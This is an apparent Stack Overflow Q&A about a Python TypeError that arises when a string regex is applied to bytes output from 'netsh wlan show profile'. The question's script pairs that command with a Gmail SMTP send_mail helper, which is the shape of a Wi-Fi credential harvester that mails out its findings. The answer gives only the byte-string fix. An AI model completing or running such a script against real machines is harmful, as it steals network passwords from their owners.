-2

I am trying to filter using regex and it says TypeError: cannot use a string pattern on a bytes-like object. I don't know why but I think its not registring my criteria correctly here is the code.


def send_mail(email, password, message):
 server = smtplib.SMTP("smtp.gmail.com", 587)
 server.starttls()
 server.login(email, password)
 server.sendmail(email, email, message)
 server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.search(":Profile\s*:\s(.*)", networks )

print(network_names.group(0))

1 Answers1

0

subprocess.check_output is returning a byte string (type bytes), instead of a Unicode string (type str). To use re.search on a byte string, use a byte string for the expression:

network_names = re.search(b":Profile\s*:\s(.*)", networks )
                          ^
                          Note!
Mark Tolonen
  • 166,664
  • 26
  • 169
  • 251